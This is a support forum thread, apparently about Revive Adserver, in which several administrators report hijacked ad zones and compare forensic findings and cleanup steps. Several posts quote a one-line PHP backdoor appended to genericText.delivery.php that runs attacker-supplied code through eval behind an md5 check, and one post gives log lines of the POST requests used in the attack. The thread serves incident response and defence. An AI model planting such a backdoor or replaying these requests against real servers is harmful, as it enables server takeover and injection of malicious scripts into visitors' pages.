Jump to content

Mobile ads have been hijacked


Snaggy

Recommended Posts

Sorry @Matteo Beccati, didn't see your e-mail. I have deleted the line below from genericText.delivery.php now:
if(isset($_REQUEST['oxText'])&&md5($_REQUEST['oxText'])=='ae897e2de15145e2089d89aff19b78a7'){@eval($_REQUEST['zoneId']);}
Thank you for your assistance!

I checked the file via stat and can see that it was changed December 22nd 2018 at 00:33, despite the modified timestamp matching the revive installation.
@Snaggy / @tvvpmi could you check if it is the same with your genericText.delivery.php and if so, if you have log data for the time it was changed?

Link to comment
Share on other sites

6 hours ago, Ian vM said:

@tvvpmi which version are you running ? did you upgrade from an older version in the past too ?

Last one 4.1.4

I have upgrade from prior version. But this instalation comes from an old instalation. 2.8 series

 

I have modify the fc.php script to log post parameters. I'm waiting now for a new POST to check what we are receiving and to try reproduce the attack

Link to comment
Share on other sites

3 hours ago, sunech said:

Sorry @Matteo Beccati, didn't see your e-mail. I have deleted the line below from genericText.delivery.php now:
if(isset($_REQUEST['oxText'])&&md5($_REQUEST['oxText'])=='ae897e2de15145e2089d89aff19b78a7'){@eval($_REQUEST['zoneId']);}
Thank you for your assistance!

I checked the file via stat and can see that it was changed December 22nd 2018 at 00:33, despite the modified timestamp matching the revive installation.
@Snaggy / @tvvpmi could you check if it is the same with your genericText.delivery.php and if so, if you have log data for the time it was changed?

Same here.

From stat genericText.delivery.php
 2018-12-22 08:51:50.724940460 +0100

Link to comment
Share on other sites

15 minutes ago, tvvpmi said:

Same here.

From stat genericText.delivery.php
 2018-12-22 08:51:50.724940460 +0100

Like in @snaggy case, this line has been added at the end of genericText.delivery.php

if(isset($_REQUEST['oxText'])&&md5($_REQUEST['oxText'])=='2817bce4ce1ba4d9361f5f24cf33747f'){@eval($_REQUEST['zoneId']);}

Link to comment
Share on other sites

16 hours ago, tvvpmi said:

I have modify the fc.php script to log post parameters. I'm waiting now for a new POST to check what we are receiving and to try reproduce the attack

I have more info. I just have received another attack just now. I have the POST parameters the attacker is using. Some of admin is interested in receiving them?

Link to comment
Share on other sites

We are having the exact problem and symptoms:

  • Injection in the zones table of the Revive database.
  • The file genericText.delivery.php has been compromised.
  • I found the following suspicious entries in the NGINX log-file:

176.31.187.82 - - [17/Dec/2018:10:07:33 +0100] "POST /adxmlrpc.php HTTP/1.1" 200 11329 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 0.210 x.x.x.x -
176.31.187.82 - - [17/Dec/2018:10:07:36 +0100] "POST /www/delivery/fc.php?zoneid=0&script=bannerTypeText:oxText:genericText&Charset=UTF8&target=blank HTTP/1.1" 200 76 "https://google.com/serach?q=https://adsserver.xxx/www/delivery&aqs=chrome.1.69i57j0j7&sourceid=chrome&ie=UTF-8" "AdsBot-Google (+http://www.google.com/adsbot.html)" 0.439 x.x.x.x -

Running an upgraded Revive 4.1.3. Have been upgrading every version since 2011. ( when it was still called Open-X )

Link to comment
Share on other sites

Hi @vinmhas, I was in the same situation. You should review your file: plugins/bannerTypeText/oxText/genericText.delivery.php

Problably it has been modified, adding a line like this at the end:

if(isset($_REQUEST['oxText'])&&md5($_REQUEST['oxText'])=='2817bce4ce1ba4d9361f5f24cf33747f'){@eval($_REQUEST['zoneId']);}

You have to remove it. 

Also you have to search in the "images folder", for some php script ... and remove it. Perhaps you can send it privately to @Ian vM

Clean the prepend code of your zones ...  via sql o through the revive backend. Search for iframes and javascript codes.

Disable PHP execution on image folder or move image folder to "another place" as they are static files and serve them throught another subdomain. You don't need PHP for them

Link to comment
Share on other sites

Thank you @tvvpmi. That did the trick!

I've been searching through a database-dump of the database for traces of suspicious JavaScript or iframes, but they only tempered with one specific ad for some reason. There were no PHP-files in the images folder though..
Like you've suggested: I've removed the ability to execute PHP-files in the images-folder, and the installation haven't been compromised since.

Link to comment
Share on other sites

I had the same issue. The injection also changed my DB structure for the append column in the ox_zones  table. No other files were modified, but I do believe the code put in the file, did the other modification to put in the code that was added to the append column


I did also have another issue where an intruder logged into our system, the log said as me, and added code the mobile redirection directly to the ad creative.  I added a different admin user, and removed my old one... I also reinstalled revive-adserver. 

I haven't seen any traffic since then of people poking around my admin area. Just tonight someone tried to do the fc.php injection. I already have php execution disabled in my images folder. The difference now is the permissions on the plugins folder. They are unable to write to that file now.


 

Link to comment
Share on other sites

  • 2 weeks later...

Same problem happened to me.

  • Only one of my ad zones had that nasty code added to the prepend column, but I've manually deleted it.
  • The genericText.delivery.php file had that extra line of code at the end which I've deleted.
  • I had a php file in the www/images directory which I've removed. I have a backup of this php file if @Ian vM or any admin would like to see it? I've been using a separate directory to serve image ads for a long time, and that directory didn't have any extra php file in it

I can change admin account passwords and the database password. Any other recommendations to prevent this attack in the future?

Thanks.

Link to comment
Share on other sites

  • 4 weeks later...
On 1/9/2019 at 5:07 AM, tvvpmi said:

Hi @vinmhas, I was in the same situation. You should review your file: plugins/bannerTypeText/oxText/genericText.delivery.php

Problably it has been modified, adding a line like this at the end:

if(isset($_REQUEST['oxText'])&&md5($_REQUEST['oxText'])=='2817bce4ce1ba4d9361f5f24cf33747f'){@eval($_REQUEST['zoneId']);}

You have to remove it. 

Also you have to search in the "images folder", for some php script ... and remove it. Perhaps you can send it privately to @Ian vM

Clean the prepend code of your zones ...  via sql o through the revive backend. Search for iframes and javascript codes.

Disable PHP execution on image folder or move image folder to "another place" as they are static files and serve them throught another subdomain. You don't need PHP for them

So is the problem a compromised plug in? genericText.delivery.php

If I do everything you say will that basically prevent this from happening again?

I have the same issue that popped up and I just want to be sure its plugged.

Link to comment
Share on other sites

On 1/9/2019 at 5:07 AM, tvvpmi said:

Hi @vinmhas, I was in the same situation. You should review your file: plugins/bannerTypeText/oxText/genericText.delivery.php

Problably it has been modified, adding a line like this at the end:

if(isset($_REQUEST['oxText'])&&md5($_REQUEST['oxText'])=='2817bce4ce1ba4d9361f5f24cf33747f'){@eval($_REQUEST['zoneId']);}

You have to remove it. 

Also you have to search in the "images folder", for some php script ... and remove it. Perhaps you can send it privately to @Ian vM

Clean the prepend code of your zones ...  via sql o through the revive backend. Search for iframes and javascript codes.

Disable PHP execution on image folder or move image folder to "another place" as they are static files and serve them throught another subdomain. You don't need PHP for them

I have tried all this and some how they are still getting on my system altering the Append/Prepend even after I have turned it off in the DB, please help!!

Link to comment
Share on other sites

How is the security issue handled by the revive team? Is there research going on, on that matter, that is not discussed public?
We have experienced the hijacked ad zones too in 2 of our installations. As unauthorized Javascript (when using async invocation method not in an iframe) got injected into the clients page it's a critical security matter, because it has direct access to the page and the user interactions (harvesting user data, in case ads have been displayed on forms). For that reason we might need to escalate the incident to the authorities because of legal reasons. 

Link to comment
Share on other sites

Good morning to all
I'm currently having the same problem with my Revive Adserver installation updated at the last version (4.1.4).
Someone makes POST requests to /www/delivery/fc.php?zoneid=0&script=bannerTypeText:oxText:genericText&Charset=UTF8&target=blank and is able to adds code to plugins/bannerTypeText/oxText/genericText.delivery.php and to upload backdoor php scripts inside /www/images/
I temporarily solved disabling PHP Engine inside the image folder and adding two lines of code inside fc.php to log POST request.
@tvvpmi maybe can you send to me your logged POST requests while I'm waiting to be attacked again?
I want to reverse this attack in order to understand how it works and to help Revive support team to fix it

Link to comment
Share on other sites

9 hours ago, Matteo Beccati said:

Research is still ongoing: we are in touch with a few affected users, but until now we haven't received enough evidence to understand how the malicious plugin or the php files in the images folder are being planted.

I know this may sounds crazy but I think how ever they have hacked in, they now have access to the DB or there is something in the DB thats giving them access, I have removed the line from genericText.delivery.php, turned off the ability to use PHP in the image folder, removed any PHP files from the image folder, went into the database and varchar(0) the prepend/append in the zones and banners, change password for the DB and the Site Admin and 12 hrs later the attack is back, the varchar is changed back to text in the prepend and 3 of my zones have code added back.

I really need to know how to at least lock them out from adding that code. So far all the recommendations have been  done and its still coming back.

I would be willing to let you team take a look at our ads server and DB at anytime if it will help this get resolved.

Edited by TYWebmaster
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...